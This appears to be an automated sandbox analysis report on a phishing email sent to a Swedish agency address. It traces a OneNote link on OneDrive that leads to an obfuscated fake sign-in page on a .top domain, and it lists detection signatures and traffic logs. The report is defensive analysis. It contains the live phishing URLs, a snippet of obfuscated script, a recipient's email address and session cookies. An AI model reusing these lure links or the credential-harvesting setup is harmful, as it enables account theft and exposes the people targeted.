Edit tour

Windows Analysis Report
ES Ny kontraktsrunda.msg

Overview

General Information

Sample name:	ES Ny kontraktsrunda.msg
Analysis ID:	1541920
MD5:	5cf8421f409a9f4641a37349ed8f5864
SHA1:	23e2cb1b2031efcadd2124fccea0fe57323959bd
SHA256:	9f792176d7044c9fa161451966228bc66dee1c8d056997892d4970e2ff5c081c
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected potential phishing Email

HTML page contains obfuscated javascript

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

OUTLOOK.EXE (PID: 7292 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\ES Ny kontraktsrunda.msg" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 7776 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "8EBA3B07-0269-403A-8827-3D10A2298313" "0BCAFF8F-32E9-4DDB-A99B-896005FDE1FB" "7292" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 7376 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2000,i,14847539301104719673,13743601160139155532,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 7292, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://onedrive.live.com/view?id=A2C259BD24DEB977!1517&resid=A2C259BD24DEB977!1517&authkey=!AMV6sdjMIZf95vs&wd=target(Quick%20Notes.one|8266a05f-045a-4cc0-bddc-4debc90069bb/Notera%20H6TYD9J4rDFDFECZC-HUYW|a949d04d-b4e2-4509-b99f-d04546199b7b/)&wdorigin=NavigationUrl&wdo=2&cid=a2c259bd24deb977

SlashNext: Label: Credential Stealing type: Phishing & Social usering

Phishing

HTML page contains obfuscated javascript

Source: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570

HTTP Parser: var a0_0x22cba3=a0_0x162c;(function(_0x5c042f,_0x45a19d){var _0x1b09f4=a0_0x162c,_0x51e88f=_0x

Source: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/

HTTP Parser: Number of links: 0

Source: https://onedrive.live.com/redir?resid=A2C259BD24DEB977%211517&authkey=%21AMV6sdjMIZf95vs&page=View&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl

HTTP Parser: Total embedded image size: 17286

HTTP Parser: Base64 decoded: {"version":3,"sources":["webpack://./../owl-service/lib/types/defaultStyles.module.scss"],"names":[],"mappings":"AAAA,sBACE,YAAA,CACA,UAAA,CACA,iBAAA,CACA,KAAA,CACA,MAAA,CACA,wBAAA,CACA,UAAA,CACA,SAAA","sourcesContent":[".page-overlay__background {\n hei...

Source: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/

HTTP Parser: No <meta name="author".. found

Source: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/

HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49729 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49778 version: TLS 1.2

Source:	Binary string: B.interval),this.pDb=!0,this.khe=new Date,so.show(Yc.a.eci),Jk.tSe()))}eo(B,X,sa){Array.add(this.bR,new Bv.a(!0,B,X,sa));zc.App.hv.MS()}forceOutbound(){}bYa(){return 4!==this._state}QJa(){1===this._state?this.$0a():this.ic&&2===this.ic.status&&(this.BZ(),this.gO.execute(B=>{B.wbb();B.uja();B.DUa()}))}get buf(){return!0}$0a(){var B=this.Jb.fileId?In.a.fmd(this.Jb.ei,"",this.Jb.km):In.a.fmd(wb.AFrameworkApplication.uo,zc.App.vgb,null),X=wb.AFrameworkApplication.J;B.ForceTransform=Ce.WoncaApp.xpc;B.IsNewFile= source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: "RetryOnFailure";break;case 0:wb.AFrameworkApplication.oja.RetryReason="None";break;case 4:wb.AFrameworkApplication.oja.RetryReason="RedirectedClusterOnServer"}}gBf(){wb.AFrameworkApplication.oja.RetryStartTime=0<this.Acc?this.nCe.getTime():0;wb.AFrameworkApplication.oja.RetryCountWhileParsing=this.Acc;this.ufi(this.d9a);this.a_i()}a_i(){this.Acc=this.d9a=0}fv(B){this._state=4;B\|\|this.pDb\|\|Jk.tSe()}Mc(B,X,sa,La,eb,lb,Nb,fc=!1){wb.AFrameworkApplication.oja.BootFailed=!0;var mc={};mc.ErrorCode=B;mc.Message= source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: !1;let va=0;ca.FW&&(pa=ca.ZA.Cla(V));this.UVf(V,xa,!1);var ra=V.cpBegin;V=V.node;this.ajj(la.a.Fe(V,ra+1));xa=V.pdb(ra);Ka=Ka(xa);xa.blob=Ka;if(ca.YHd&&6===xa.blob.zj){if(0<ra){const wa=V.Ba;va=wa.uXa(ra);0<=va-1&&(ra=wa.K(va-1),xa.$a=new ua.a(xa,ra.$a?ra.$a.fi:u.a.nil),!ca.FW&&ra.hyperlink&&this.Qe.cG(xa.$a))}ca.FW&&(pa?xa.Yk&&(xa.Yk=!1,V.Ba.K(va+1).Yk=!0):xa.$a&&xa.$a.cache.Xr&&this.Qe.cG(xa.$a))}if(D.a.instance.K(57))for(V.lq(),pa=Ka.v8,xa.$a&&pa--,V.wordRunProperties.JYa(Math.max(0,Ka.ef-1),2, source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: this.ow.YD&&(ae.a.instance.K(58)&&this.yQ!==B.Cells.length-1&&(La.yb.enabled=0),this.j$f(La),this.ow=null,this.yQ++);sa=Jk.v9f(X.getTime());1>sa&&(sa=1);if(this.ow\|\|Jk.Xfa(sa)){this.gX+=sa;B=wb.AFrameworkApplication.J.vb("MaxBootDeserializationTimeInMs",0);if(0<B&&this.gX>B)return this.Mc(Yc.a.pzf,CommonUiStrings.CannotOpenFile,!1,!0,!1,null,null),this.Aw.dispose(),!1;this.setActive();return!1}}return!0}pFi(){if(this.pDb)this.KAf();else if(2!==this.ic.statusCode\|\|Yo.a.Fva(this.ic.Qm))this.hhh();else{var B= source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: case 2:a=Ed.a.Hib}return this.Jj.ja(a,0)}j9i(a){this.Jj.setValue(qs.uRd,a);this.xM()}Hhb(){return this.Jj.ja(qs.uRd,!1)}S3h(){return this.Jj.Oa(qs.uRd)}$2h(){return gc.a.instance.K(13)?this.Jj.Oa(ec.a.Yr)\|\|this.Jj.Oa(Ed.a.Gib)\|\|this.Jj.Oa(Ed.a.Hib):this.Jj.Oa(ec.a.Yr)}xM(){if(ca.a.Mob){var a=Gf.a.instance.Na.Ra.Ga,c=a.node;if(c===this.Maa)this.Maa.rm(16,!0);else{this.Maa=c;c=this.Maa.Ofa();try{this.Maa.pdb(a.cpBegin).UY=!0}finally{c&&c.dispose()}}}}IVi(){if(ca.a.Mob&&this.Maa){var a=0,c=this.Maa.Ofa(); source: chromecache_303.7.dr, chromecache_371.7.dr
Source:	Binary string: sa,La,eb,lb,Nb,fc=null,mc=null,$c=0){super();this.nCe=this.khe=this.aF=this.vi=this.rx=this.nX=this.qh=this.Aw=null;this.gX=this.yQ=0;this.ow=null;this.bR=[];this.Jpe=null;this.d9a=this.Acc=0;this.pDb=this.Fpe=!1;this.pBa=null;this.lia=0;this.va=new hh.a;this.vS=null;this.Jb=B;this.aha=X;this.Ia=sa;this.gO=La;this.Ir=eb;this.S5b=fc;this.cac=Nb;zc.App.hv.register(this);this.bob=!0;this.iU="GraphSpaceRootReplicator";lb&&""!==lb&&(this.iU+="_"+lb);0<$c&&(mc\|\|(mc=zf.TaskManager.instance),mc.Fb(new Zc.a(3, source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: BE=H(63763);class Iv{constructor(b){this.fc=b;this.tXc=new Hv.a}qgc(b,e,m,I,U=null,ka=null,Ia=null){b=b.pdb(e);b.li\|\|(b.li=new AE.a(b));b.li.add(new pr(b,m,I,U,ka,Ia));b.isFromErrorRangeSplit=!0}GUf(b){return b.oc&&b.oc.li&&b.oc.li.lXb(e=>e===b,[b.type])?!0:!1}FVi(b,e){if(b.type===e.type&&b.te&&!e.te&&b.oc&&b.oc.li&&b.oc.li.contains(b)&&e.oc&&e.oc.li&&e.oc.li.contains(e)){var m=[b.type];b.oc.li.lXb(I=>I===b,m);e.oc.li.lXb(I=>I===e,m)}}Wyj(b,e,m){if(!e)return!1;m=new Tz.a([m]);for(let I=0;I<b.length;I++){const U= source: chromecache_273.7.dr
Source:	Binary string: 1,1E3*$c,vd=>{this.uDg(vd)},132)))}get IBd(){return this.Jpe\|\|(this.Jpe=ib.a.instance.resolve("Wonca.IGraphSpaceRootReplicatorErrorHandler"))}dIg(B){this.va.addHandler(Jk.nwd,B)}get O1(){return 4===this._state?super.O1:1}get eK(){return this.iU}uDg(B){4===this._state\|\|this.pDb\|\|(this.qh?vb.ULS.sendTraceTag(41821144,338,15,"GetCells still processing response when abort call came after {0} ms. Not aborting.",B.interval):(vb.ULS.sendTraceTag(41821145,338,15,"GetCells aborting boot after it did not complete in {0} ms.", source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: X);fr.a.UDb("InitializeLocalCobalt",B.InitializeLocalCobaltStartTime,B.InitializeLocalCobaltEndTime,X);this.Ir.Ac("ServerData",X)}}BZ(){wb.AFrameworkApplication.J.Z("RefactorParseServerResponseIsEnabled")?this.pFi():this.oFi()}oFi(){if(this.pDb)this.KAf();else if(2!==this.ic.statusCode\|\|Yo.a.Fva(this.ic.Qm)){if(!(wb.AFrameworkApplication.Uf\|\|ae.a.instance.K(58)&&zc.App.GIf)){var B={["RetryCount"]:this.lia,["StatusCode"]:this.ic.statusCode,["HttpStatus"]:this.ic.httpStatusCode.toString(),["HasResponseObjects"]:!Yo.a.Fva(this.ic.Qm)}; source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: sa,2,fc),$c.hyperlink=null,eb=mc,La=!0;else if(La&&$c.Yk){this.Ind(B,$c,sa,2,fc);$c.Yk=!1;lb=$c.cp;Nb=mc;break}La&&$c.$a&&this.Cc.cG($c.$a)}sa=ad.ParagraphReader.text(B).substring(X.oc.cp,lb);this.fc.replaceTextRange(bi.a.createTextRange(B,X.oc.cp,lb),sa,!0,!1);for(X=eb;X<=Nb;)eb=B.Ba.K(X++),lb=B.pdb(eb.cp+sa.length),eb.$a&&(lb.$a=eb.$a.ld(lb));B.lq()}flc(B,X,sa){sa.wordRunProperties.Euc(X?B-1:B,2);ae.a.instance.K(57)&&(sa.wordRunProperties.EP.W(B,Nk.CharacterPropertiesEditor.u8),sa.wordRunProperties.yZ.W(B, source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: this.i3f(ha);da.a.Keb().then(ia=>{ia.update(ha);return null})}i3f(ha){const {AFrameworkApplication:ia}=d(40343);this.nVc=ha;if(ia.fa){ia.Hmc();ia.fa.lJ(!1);const Y={};Y.activeDivZIndex=ia.fa.dY;ha.dialogHostProperties=Y}ha.dialogButtonsOption=void 0!==ha.dialogButtonsOption&&null!==ha.dialogButtonsOption?ha.dialogButtonsOption:this.lc;ha=this.PDb(1,ha);ha=this.PDb(2,ha);ha=this.PDb(3,ha);ha=this.PDb(4,ha);ha=this.PDb(0,ha);ha.defaultExecutionButton=ha.defaultExecutionButton\|\|this.c6a;ha.hideCloseButton= source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: Ga):Va.end<hb.end?Ga++:r++}return R}mJe(r,R){let ja=!1;for(const Ga of R){R=Ga.errorDetails;ja=1===R.proofingType\|\|ja;let Va=r.pdb(Ga.begin);Va.Sm=new Jd(Va,R);Va.isFromErrorRangeSplit=!0;Va=r.pdb(Ga.end);Va.UJ=!0;Va.isFromErrorRangeSplit=!0}ja&&(r.SPb=!1)}uUf(r,R){if(!Lf.a.fh(R)){r=r.Ba;for(const ja of R){R=r.Cz(ja.begin);const Ga=r.Cz(ja.end);R&&R.Sm&&Ga&&Ga.UJ?(R.Sm=null,Ga.UJ=!1):(R=String.format("Could not find and remove ErrorRange from CHPs. Cp Begin: {0}, Cp End: {1}",ja.begin,ja.end),la.ULS.sendTraceTag(37532355, source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: rb,Mb){2===Mb&&this.BM(!0,"OnDictationTimeout");return 32}Q9f(){this.uCb\|\|(this.uCb=!0,this.lw.isVisible()?(this.snc("RibbonClicked"),this.uCb=!1):this.showFloatie(),this.yNc())}showFloatie(Wa=!0){na.ULS.sendTraceTag(573190859,394,50,"Show dictation floatie triggered");this.lw.showFloatie((new S.a(this.Wb.KA)).displayName).then(()=>{this.i6a&&(this.i6a.aLc(),this.Wb.dSb=new Date,this.Wb.Pdb\|\|(this.Wb.Pdb=new Date));0===this.IG.Dz()&&(Wa?this.QKa():this.lw&&this.lw.vHf(),this.uCb=!1);this.Wb.$Pb&& source: chromecache_273.7.dr
Source:	Binary string: void 0!==this.Wb.Pdb&&null!==this.Wb.Pdb&&Array.add(this.qf.dataFields,{name:"FirstSeen",string:this.Wb.Pdb.toISOString()});void 0!==this.Wb.dSb&&null!==this.Wb.dSb&&Array.add(this.qf.dataFields,{name:"LastSeen",string:this.Wb.dSb.toISOString()})}onFinalResultAnnotationResponse(b,e,m){b=b+this.xUc-(this.Q7c+(e+m)/1E4);this.Qbd+=b;this.J3c<b&&(this.J3c=b);this.Y3c>b&&(this.Y3c=b)}onPartialResultAnnotationResponse(b,e,m){b=b+this.xUc-(this.Q7c+(e+m)/1E4);this.Tbd+=b;this.M3c<b&&(this.M3c=b);this.Z3c> source: chromecache_273.7.dr

Source: global traffic

TCP traffic: 192.168.2.6:49734 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: klickskydd.skolverket.org to https://onedrive.live.com/redir?resid=a2c259bd24deb977%211517&authkey=%21amv6sdjmizf95vs&page=view&wd=target%28quick%20notes.one%7c8266a05f-045a-4cc0-bddc-4debc90069bb%2fnotera%20h6tyd9j4rdfdfeczc-huyw%7ca949d04d-b4e2-4509-b99f-d04546199b7b%2f%29&wdorigin=navigationurl

Source: Joe Sandbox View

IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49729 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AguaVUDH4zt5r+x&MD=MMg9cB1M HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0 HTTP/1.1Host: klickskydd.skolverket.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redir?resid=A2C259BD24DEB977%211517&authkey=%21AMV6sdjMIZf95vs&page=View&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl HTTP/1.1Host: onedrive.live.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /view?id=A2C259BD24DEB977!1517&resid=A2C259BD24DEB977!1517&authkey=!AMV6sdjMIZf95vs&wd=target(Quick%20Notes.one\|8266a05f-045a-4cc0-bddc-4debc90069bb/Notera%20H6TYD9J4rDFDFECZC-HUYW\|a949d04d-b4e2-4509-b99f-d04546199b7b/)&wdorigin=NavigationUrl&wdo=2&cid=a2c259bd24deb977 HTTP/1.1Host: onedrive.live.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: E=P:A1sbos303Ig=:cyqkCMhgkSbeP1NVwcHAlwvIAaSybJ0zcUMlx1A95ss=:F; xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; xidseq=1
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AguaVUDH4zt5r+x&MD=MMg9cB1M HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /o/OneNote.ashx HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
